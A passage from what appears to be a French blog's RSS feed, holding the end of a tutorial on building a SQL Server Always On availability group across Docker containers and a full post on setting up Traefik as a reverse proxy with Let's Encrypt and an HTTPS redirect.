    WITH PRIVATE KEY (
    FILE = &apos;/var/shared_data/dbm_certificate.pvk&apos;,
    DECRYPTION BY PASSWORD = &apos;KuDzgdXGR7dD79Uv&apos;
);
GO
-- create endpoint for replication
CREATE ENDPOINT [Hadr_endpoint]
    AS TCP (LISTENER_IP = (0.0.0.0), LISTENER_PORT = 5022)
    FOR DATA_MIRRORING (
        ROLE = ALL,
        AUTHENTICATION = CERTIFICATE dbm_certificate,
        ENCRYPTION = REQUIRED ALGORITHM AES
        );
ALTER ENDPOINT [Hadr_endpoint] STATE = STARTED;
GRANT CONNECT ON ENDPOINT::[Hadr_endpoint] TO [dbm_login];
GO

ALTER EVENT SESSION  AlwaysOn_health ON SERVER WITH (STARTUP_STATE=ON);
GO
</code></pre>
<!--kg-card-end: markdown--><p>Une fois que tous nos serveurs sont configur&#xE9;, il ne nous reste plus qu&apos;&#xE0; cr&#xE9;er le groupe via cette commande SQL, a ex&#xE9;cuter uniquement sur le noeud primaire</p><!--kg-card-begin: markdown--><pre><code class="language-sql">CREATE AVAILABILITY GROUP [AG1]
        WITH (CLUSTER_TYPE = NONE)
        FOR REPLICA ON
        N&apos;sqlserver1&apos; WITH (
            ENDPOINT_URL = N&apos;tcp://sql1.moi.com:50221&apos;,
            AVAILABILITY_MODE = SYNCHRONOUS_COMMIT,
            SEEDING_MODE = AUTOMATIC,
            FAILOVER_MODE = MANUAL ,
            SECONDARY_ROLE (ALLOW_CONNECTIONS = ALL)
        ),
        N&apos;sqlserver2&apos; WITH (
            ENDPOINT_URL = N&apos;tcp://sql2.moi.com:50222&apos;,
            AVAILABILITY_MODE = SYNCHRONOUS_COMMIT,
            SEEDING_MODE = AUTOMATIC,
            FAILOVER_MODE = MANUAL ,
            SECONDARY_ROLE (ALLOW_CONNECTIONS = ALL)
        ),
        N&apos;sqlserver3&apos; WITH (
            ENDPOINT_URL = N&apos;tcp://sql3.moi.com:50223&apos;,
            AVAILABILITY_MODE = SYNCHRONOUS_COMMIT,
            SEEDING_MODE = AUTOMATIC,
            FAILOVER_MODE = MANUAL ,
            SECONDARY_ROLE (ALLOW_CONNECTIONS = ALL)
        );
GO
</code></pre>
<!--kg-card-end: markdown--><p>Vous prendrez bien &#xE9;videmment soin de remplacer les ENDPOINT_URL avec l&apos;adresse de vos serveurs.</p><p>Il ne nous reste plus qu&apos;&#xE0; indiquer &#xE0; nos deux autres noeuds de rejoindre le groupe avec les commandes suivantes : </p><!--kg-card-begin: markdown--><pre><code class="language-sql">ALTER AVAILABILITY GROUP [AG1] JOIN WITH (CLUSTER_TYPE = NONE);
ALTER AVAILABILITY GROUP [AG1] GRANT CREATE ANY DATABASE;
GO
</code></pre>
<!--kg-card-end: markdown--><h3 id="quatri-me-tape-cr-er-la-base-de-donn-es">Quatri&#xE8;me &#xE9;tape : cr&#xE9;er la base de donn&#xE9;es</h3><p>&#xC9;tape finale, cr&#xE9;er la base de donn&#xE9;es et indiquer quelle doit &#xEA;tre r&#xE9;pliqu&#xE9;e. &#xC0; partir de maintenant, les deux noeuds secondaires sont en lecture seule et vous ne pouvez &#xE9;crire que sur le noeud primaire. On ex&#xE9;cute donc la cr&#xE9;ation de la base sur le noeud primaire</p><!--kg-card-begin: markdown--><pre><code class="language-sql">CREATE DATABASE agtestdb;
GO
-- backup de la base
ALTER DATABASE agtestdb SET RECOVERY FULL;
GO
BACKUP DATABASE agtestdb TO DISK = &apos;/var/opt/mssql/data/agtestdb.bak&apos;;
GO
-- ajout de la base au groupe
ALTER AVAILABILITY GROUP [ag1] ADD DATABASE [agtestdb];
GO
</code></pre>
<!--kg-card-end: markdown--><p>Apr&#xE8;s quelques millisecondes, vous pouvez voir sur le dashboard de votre AG sur SSMS que la base est r&#xE9;pliqu&#xE9;e correctement sur les 3 instances </p><figure class="kg-card kg-image-card"><img src="https://blog.julienmialon.com/content/images/2021/03/image-1.png" class="kg-image" alt loading="lazy" width="618" height="156" srcset="https://blog.julienmialon.com/content/images/size/w600/2021/03/image-1.png 600w, https://blog.julienmialon.com/content/images/2021/03/image-1.png 618w"></figure><p></p><h3 id="-tape-bonus-failover">&#xC9;tape bonus : failover</h3><p>La grande question, que faire quand votre noeud primaire tombe et que vous voulez promouvoir l&apos;un des deux autres le temps que le premier soir r&#xE9;par&#xE9; ou que vous souhaitez simplement mettre &#xE0; jour une machine et donc l&apos;&#xE9;teindre pendant quelques minutes.</p><p>Si vous avez toujours l&apos;acc&#xE8;s au noeud primaire, afin de l&apos;&#xE9;teindre &quot;proprement&quot;, il est n&#xE9;cessaire d&apos;ex&#xE9;cuter la commande suivante dessus : </p><!--kg-card-begin: markdown--><pre><code class="language-sql">ALTER AVAILABILITY GROUP [ag1] OFFLINE
</code></pre>
<!--kg-card-end: markdown--><p>Une fois cette commande pass&#xE9;e, vous pouvez v&#xE9;rifier sur votre dashboard, votre noeud primaire est indisponible. </p><p>Dans tous les cas, on veut maintenant promouvoir un autre noeud en tant que noeud primaire. On va dans ce cas ex&#xE9;cuter la commande suivante sur le noeud2 :</p><!--kg-card-begin: markdown--><pre><code class="language-sql">-- on passe en noeud primaire
ALTER AVAILABILITY GROUP ag1 FORCE_FAILOVER_ALLOW_DATA_LOSS;
-- on r&#xE9;active la synchronisation de la base
alter database agtestdb set hadr resume
</code></pre>
<!--kg-card-end: markdown--><p>Le dashboard vous indique maintenant que votre noeud2 est le noeud primaire de votre groupe. Mais votre noeud3 ne s&apos;est pas reconnect&#xE9;. On va indiquer au noeud3 de se reconnecter au groupe.</p><!--kg-card-begin: markdown--><pre><code class="language-sql">ALTER AVAILABILITY GROUP [ag1] offline
ALTER AVAILABILITY GROUP [ag1] SET (Role = secondary);
alter database agtestdb set hadr resume
</code></pre>
<!--kg-card-end: markdown--><p>Et voil&#xE0;, notre noeud3 est de retour dans notre groupe. Quand le noeud1 sera de nouveau disponible, il nous suffira d&apos;ex&#xE9;cuter les commandes suivantes pour qu&apos;il fasse de m&#xEA;me.</p><!--kg-card-begin: markdown--><pre><code class="language-sql">ALTER AVAILABILITY GROUP [ag1] SET (Role = secondary);
alter database agtestdb set hadr resume
</code></pre>
<!--kg-card-end: markdown--><p>Et si on souhaite remettre le noeud1 en noeud primaire, il suffira de refaire la proc&#xE9;dure que l&apos;on vient de voir.</p><p></p><h3 id="probl-mes-que-l-on-peut-rencontrer">Probl&#xE8;mes que l&apos;on peut rencontrer</h3><p>Si la cr&#xE9;ation du groupe &#xE9;choue avec une erreur indiquant qu&apos;il n&apos;y a pas le noeud courant dans le groupe, c&apos;est que vous n&apos;avez pas indiqu&#xE9; le hostname correctement dans le fichier docker-compose ou que le hostname que vous avez choisi fait plus de 15 caract&#xE8;res. Pour v&#xE9;rifier le hostname du serveur : </p><!--kg-card-begin: markdown--><p>Depuis un terminal pour v&#xE9;rifier celui du container docker</p>
<pre><code class="language-bash">docker exec -it sqlserver1 /bin/hostname
</code></pre>
<p>Sur le serveur SQL pour v&#xE9;rifier celui qu&apos;il a charg&#xE9;</p>
<pre><code class="language-sql">select @@servername
</code></pre>
<!--kg-card-end: markdown--><p></p><h3 id="ajouter-un-noeud">Ajouter un noeud</h3><p>Sur le nouveau noeud, on va cr&#xE9;er le certificat et le endpoint de la m&#xEA;me mani&#xE8;re qu&apos;on l&apos;avait fait pour les noeuds initiaux.</p><p>On va ensuite faire une sauvegarde de la base de donn&#xE9;es du noeud primaire et l&apos;importer sur notre nouveau noeud</p><!--kg-card-begin: markdown--><p>Sur le noeud primaire</p>
<pre><code class="language-sql">backup database agtest to disk = &apos;/var/shared_data/agtest.bak&apos; with format
backup log agtest TO DISK = &apos;/var/shared_data/agtest.bak.log&apos;
</code></pre>
<p>On copie les deux fichiers ainsi r&#xE9;cup&#xE9;r&#xE9; sur notre nouveau noeud avant d&apos;y ex&#xE9;cuter les commandes suivantes :</p>
<pre><code class="language-sql">restore database agtest from disk = &apos;/var/shared_data/agtest.bak&apos; with norecovery
restore log agtest from disk = &apos;/var/shared_data/agtest.bak.log&apos; with FILE=1, norecovery  
</code></pre>
<!--kg-card-end: markdown--><p>&#xC0; partir du noeud primaire, on ajoute le noeud au groupe.</p><!--kg-card-begin: markdown--><pre><code class="language-sql">alter availability group AG1
	add replica on &apos;sqlserver4&apos; with (
			ENDPOINT_URL = N&apos;tcp://sql4.moi.com:50224&apos;,
            AVAILABILITY_MODE = SYNCHRONOUS_COMMIT,
            SEEDING_MODE = AUTOMATIC,
            FAILOVER_MODE = MANUAL ,
            SECONDARY_ROLE (ALLOW_CONNECTIONS = ALL)
        )
</code></pre>
<!--kg-card-end: markdown--><p>Enfin, sur le noeud secondaire, on rejoint le groupe</p><!--kg-card-begin: markdown--><pre><code>ALTER AVAILABILITY GROUP [AG1] JOIN WITH (CLUSTER_TYPE = NONE);
ALTER AVAILABILITY GROUP [AG1] GRANT CREATE ANY DATABASE;
</code></pre>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Reverse Proxy: Traefik]]></title><description><![CDATA[<p>Apr&#xE8;s plusieurs ann&#xE9;e pass&#xE9;es &#xE0; utiliser nginx en tant que reverse proxy sur mes serveurs perso, j&apos;ai d&#xE9;couvert <a href="https://traefik.io">Traefik</a>. Nginx avait le d&#xE9;savantage d&apos;&#xEA;tre assez lourd en terme de configuration lorsque l&apos;on souhaite</p>]]></description><link>https://blog.julienmialon.com/reverse-proxy-traefik/</link><guid isPermaLink="false">603e768709b5560001f6347b</guid><category><![CDATA[devops]]></category><dc:creator><![CDATA[Julien Mialon]]></dc:creator><pubDate>Tue, 02 Mar 2021 18:26:15 GMT</pubDate><content:encoded><![CDATA[<p>Apr&#xE8;s plusieurs ann&#xE9;e pass&#xE9;es &#xE0; utiliser nginx en tant que reverse proxy sur mes serveurs perso, j&apos;ai d&#xE9;couvert <a href="https://traefik.io">Traefik</a>. Nginx avait le d&#xE9;savantage d&apos;&#xEA;tre assez lourd en terme de configuration lorsque l&apos;on souhaite ajouter un service, r&#xE9;cup&#xE9;rer un certificat let&apos;s encrypt... Avec Traefik c&apos;est pour le coup bien plus simple, plusieurs solutions de configuration sont disponible mais les deux qui me semblent les plus int&#xE9;ressantes sont via des labels associ&#xE9;s &#xE0; vos containers docker (la configuration du reverse proxy reste au plus proche de chaque d&#xE9;claration de service) ou avec un petit fichier de configuration yaml (une quinzaine de ligne par service).</p><p>J&apos;ai pr&#xE9;f&#xE9;r&#xE9; opter pour la configuration avec les fichiers yaml parce que les labels &#xE0; associer aux containers docker sont assez verbeux et au moins toute ma configuration se retrouve au m&#xEA;me endroit. En plus les fichiers de configurations sont surveill&#xE9;s par Traefik et recharg&#xE9; &#xE0; chaque changement. Plus besoin de red&#xE9;marrer le container docker quand on change quelque chose.</p><h3 id="installation">Installation</h3><p>J&apos;ai personnellement fait le choix d&apos;utiliser Traefik &#xE0; travers son container docker, ce n&apos;est pas une obligation mais comme tous mes services sont d&#xE9;ploy&#xE9;s sur docker avec compose, c&apos;est plus simple pour moi.</p><p>Premi&#xE8;re chose &#xE0; faire, cr&#xE9;er un r&#xE9;seau local pour docker pour que Traefik puisse avoir acc&#xE8;s aux autres containers.</p><!--kg-card-begin: markdown--><pre><code>docker network create compose_default
</code></pre>
<!--kg-card-end: markdown--><p>J&apos;ai choisi de nommer ce r&#xE9;seau <em>compose_default</em>, vous pouvez bien &#xE9;videmment le nommer comme vous le souhaitez.</p><p>Ensuite le fichier <em>docker-compose.yml</em> pour le d&#xE9;ploiement de Traefik</p><!--kg-card-begin: markdown--><pre><code class="language-yaml">version: &apos;3.6&apos;

services:
  traefik:
    container_name: traefik
    image: traefik
    volumes:
      - ./config:/etc/traefik/config
      - ./config.yml:/etc/traefik/traefik.yml
      - ./acme.json:/etc/traefik/acme/acme.json
      - &quot;/var/run/docker.sock:/var/run/docker.sock:ro&quot;
    restart: always
    networks:
      - default
    ports:
      - &quot;80:80&quot;
      - &quot;443:443&quot;

networks:
  default:
    external:
      name: compose_default
</code></pre>
<!--kg-card-end: markdown--><p>Rien de bien exotique ici, on r&#xE9;cup&#xE8;re l&apos;image nomm&#xE9; <em>traefik</em> sur le docker hub, on lui monte quelques volumes : </p><ul><li>./config : c&apos;est notre dossier qui contiendra nos fichiers de configuration</li><li>./config.yml : c&apos;est le fichier de configuration global de Traefik que l&apos;on va voir juste apr&#xE8;s</li><li>./acme.json : c&apos;est le fichier qui servira &#xE0; stocker les certificats Let&apos;s Encrypt</li><li>docker.sock : uniquement dans le cas o&#xF9; vous souhaitez vous servir des labels sur les containers docker pour passer la configuration &#xE0; Traefik</li></ul><p>On lui affecte les ports 80 et 443 afin de pouvoir &#xE9;couter le trafic http et https par d&#xE9;faut, vous pouvez &#xE9;galement en d&#xE9;clarer d&apos;autres si besoin. Et surtout on n&apos;oublie pas de le rattacher au r&#xE9;seau cr&#xE9;&#xE9; pr&#xE9;c&#xE9;demment afin qu&apos;il puisse y acc&#xE9;der.</p><p>Il est n&#xE9;cessaire de remplir le fichier de configuration config.yml pour lui donner quelques informations : </p><!--kg-card-begin: markdown--><pre><code class="language-yml">global:
  checkNewVersion: true
  sendAnonymousUsage: false

entryPoints:
  http:
    address: :80
  https:
    address: :443

certificatesResolvers:
  letsEncrypt:
    acme:
      email: votre@adresse.email
      storage: /etc/traefik/acme/acme.json
      httpChallenge:
        entryPoint: http

api:
  dashboard: true

providers:
  # Enable Docker configuration backend
  docker:
    endpoint: &quot;unix:///var/run/docker.sock&quot;
    exposedByDefault: false
    watch: true
  # Watch changes in config/files/*
  file:
    directory: /etc/traefik/config/files
    watch: true
</code></pre>
<!--kg-card-end: markdown--><p>Les parties importantes ici, la d&#xE9;clarations des entry points (les ports que Traefik va &#xE9;couter), la configuration de Let&apos;s Encrypt pour qu&apos;automatiquement les certificats soient r&#xE9;cup&#xE9;r&#xE9;s et renouvel&#xE9;s quand n&#xE9;cessaire. Les providers de configuration, ici on a activ&#xE9; et les labels docker, et les fichier yaml qui se trouveront dans config/files.</p><p>Dernier point, le dashboard, ce n&apos;est pas une obligation mais &#xE7;a vous permet d&apos;avoir une vision rapide des services configur&#xE9; sur Traefik via un petit site web. </p><h3 id="configuration">Configuration</h3><p>On va d&apos;ailleurs d&#xE9;finir le fichier de configuration associ&#xE9; au dashboard (et oui, il faut bien qu&apos;on le route avec Traefik). On cr&#xE9;&#xE9; donc le fichier config/files/dashboard.yml (vous pouvez le nommer comme vous le souhaitez).</p><!--kg-card-begin: markdown--><pre><code class="language-yml">http:
  middlewares:
    traefik-dashboard-auth:
      basicAuth:
        users:
          - &quot;admin:$apr1$qQzhGxNq$8emb71Ic/wW2vVLgr07dK/&quot;
  routers:
    traefik-dashboard:
      rule: &quot;Host(`traefik.julienmialon.com`)&quot;
      service: api@internal
      entrypoints: https
      middlewares: 
        - traefik-dashboard-auth
      tls:
        certResolver: letsEncrypt
</code></pre>
<!--kg-card-end: markdown--><p>Comme promis, la configuration est tr&#xE8;s rapide, on d&#xE9;fini un middleware pour avoir une couche d&apos;authentification sur notre dashboard. Les informations de connexion sont g&#xE9;n&#xE9;r&#xE9; avec la commande <em>htpasswd -nb admin password. </em>On d&#xE9;finit ensuite notre router, nomm&#xE9; <em>traefik-dashboard</em>, on lui donne comme r&#xE8;gle de matcher le nom d&apos;h&#xF4;te <em>traefik.julienmialon.com</em>, d&apos;&#xE9;couter uniquement sur le port https, d&apos;utiliser le middleware d&#xE9;finit juste au-dessus et de r&#xE9;cup&#xE9;rer le certification SSL aupr&#xE8;s de Let&apos;s Encrypt. La ligne service indique au router vers quel service il doit router la requ&#xEA;te. Puisque l&apos;on souhaite ici acc&#xE9;der au dashboard, il est n&#xE9;cessaire de lui indiquer un service interne d&#xE9;finit par Traefik qui se nomme <em>api@internal</em>. Une fois le fichier enregistr&#xE9;, peut acc&#xE9;der &#xE0; l&apos;url pour acc&#xE9;der au dashboard apr&#xE8;s authentification.</p><figure class="kg-card kg-image-card"><img src="https://blog.julienmialon.com/content/images/2021/03/image_2021-03-02_190212.png" class="kg-image" alt loading="lazy" width="1446" height="685" srcset="https://blog.julienmialon.com/content/images/size/w600/2021/03/image_2021-03-02_190212.png 600w, https://blog.julienmialon.com/content/images/size/w1000/2021/03/image_2021-03-02_190212.png 1000w, https://blog.julienmialon.com/content/images/2021/03/image_2021-03-02_190212.png 1446w" sizes="(min-width: 720px) 720px"></figure><p>Si par curiosit&#xE9; vous allez consulter le fichier acme.json, vous verrez maintenant qu&apos;il contient les information du certificats pour le nom d&apos;h&#xF4;te que vous avez utilis&#xE9;.</p><p>Ici on a utilis&#xE9; un service interne &#xE0; Traefik (rep&#xE9;rable avec le @internal), mais si l&apos;on souhaite utiliser un service qui tourne dans un autre container docker, il faut rajouter un petit peu de configuration. On va prendre ici l&apos;exemple du fichier de configuration pour ce blog.</p><!--kg-card-begin: markdown--><pre><code class="language-yml">http:
  routers:
    blog:
      rule: &quot;Host(`blog.julienmialon.com`)&quot;
      service: service-blog
      entrypoints: https
      tls:
        certResolver: letsEncrypt
        
  services:
    service-blog:
      loadBalancer:
        servers:
          - url: &quot;http://ghost-blog:4242/&quot;
</code></pre>
<!--kg-card-end: markdown--><p>La d&#xE9;finition du router est quasiment la m&#xEA;me que pour le dashboard except&#xE9; qu&apos;on mentionne le service <em>service-blog</em> d&#xE9;finit plus bas dans le fichier. On a d&#xE9;finit ici un service de type load balancer, mais avec une seule cible il ne fera qu&apos;envoyer toujours &#xE0; la m&#xEA;me url. Le nom d&apos;h&#xF4;te de la cible est le nom du container docker associ&#xE9; qu&apos;on a bien entendu reli&#xE9; &#xE0; notre r&#xE9;seau <em>compose_default</em> et ghost tourne sur le port 4242.</p><p>Une fois le fichier enregistr&#xE9;, on peut aller voir sur le dashboard dans la liste des services pour v&#xE9;rifier qu&apos;il appara&#xEE;t bien.</p><figure class="kg-card kg-image-card"><img src="https://blog.julienmialon.com/content/images/2021/03/image_2021-03-02_191346.png" class="kg-image" alt loading="lazy" width="1426" height="497" srcset="https://blog.julienmialon.com/content/images/size/w600/2021/03/image_2021-03-02_191346.png 600w, https://blog.julienmialon.com/content/images/size/w1000/2021/03/image_2021-03-02_191346.png 1000w, https://blog.julienmialon.com/content/images/2021/03/image_2021-03-02_191346.png 1426w" sizes="(min-width: 720px) 720px"></figure><p>Et dans la liste des routers, on a bien notre r&#xE8;gle pour matcher sur le nom d&apos;h&#xF4;te que l&apos;on a d&#xE9;finit.</p><figure class="kg-card kg-image-card"><img src="https://blog.julienmialon.com/content/images/2021/03/image.png" class="kg-image" alt loading="lazy" width="1424" height="205" srcset="https://blog.julienmialon.com/content/images/size/w600/2021/03/image.png 600w, https://blog.julienmialon.com/content/images/size/w1000/2021/03/image.png 1000w, https://blog.julienmialon.com/content/images/2021/03/image.png 1424w" sizes="(min-width: 720px) 720px"></figure><h3 id="https-s-curit-">HTTPS / S&#xE9;curit&#xE9;</h3><p>Dans les deux configurations, que ce soit pour le dashboard ou pour le blog, on peut voir qu&apos;on a toujours sp&#xE9;cifi&#xE9; d&apos;&#xE9;couter uniquement sur le port https. Ce qui veut dire que si quelqu&apos;un tente d&apos;acc&#xE9;der &#xE0; notre site depuis une adresse <em>http://</em>, il n&apos;aura aucune r&#xE9;ponse. L&apos;int&#xE9;r&#xEA;t de faire &#xE7;a et que l&apos;on va pouvoir d&#xE9;finir un router global pour le port http qui va rediriger sur la m&#xEA;me adresse mais en <em>https://</em>. </p><p>On va donc rajouter un fichier de configuration pour ce router particulier.</p><!--kg-card-begin: markdown--><pre><code class="language-yml">http:
  middlewares:
    forcehttps:
      redirectScheme:
        scheme: https
        permanent: true

  routers:
    forcehttps:
      rule: PathPrefix(`/`)
      entrypoints: http
      service: api@internal
      middlewares: 
        - forcehttps
</code></pre>
<!--kg-card-end: markdown--><p>On d&#xE9;finit un middleware nomm&#xE9; <em>forcehttps</em> qui va utiliser le composant <em>redirectScheme</em> en lui indiquant de rediriger sur l&apos;adresse en https de mani&#xE8;re permanente (le navigateur va mettre en cache cette redirection et &#xE9;vitera un appel inutile la prochaine fois). On d&#xE9;finit ensuite le router qui utilise ce middleware, on lui indique de traiter les requ&#xEA;tes sur le port http uniquement et parce qu&apos;au moins une r&#xE8;gle est obligatoire on lui indique un prefix de / ce qui matchera toutes les requ&#xEA;tes. On lui indique le service api mais uniquement parce que c&apos;est un param&#xE8;tre obligatoire, notre requ&#xEA;te sera de toute mani&#xE8;re intercept&#xE9;e et redirig&#xE9;e par notre middleware avant.</p><p>Vous avez maintenant un reverse proxy simple &#xE0; utiliser auquel vous pouvez rajouter tous les services que vous souhaitez :-)</p>]]></content:encoded></item></channel></rss>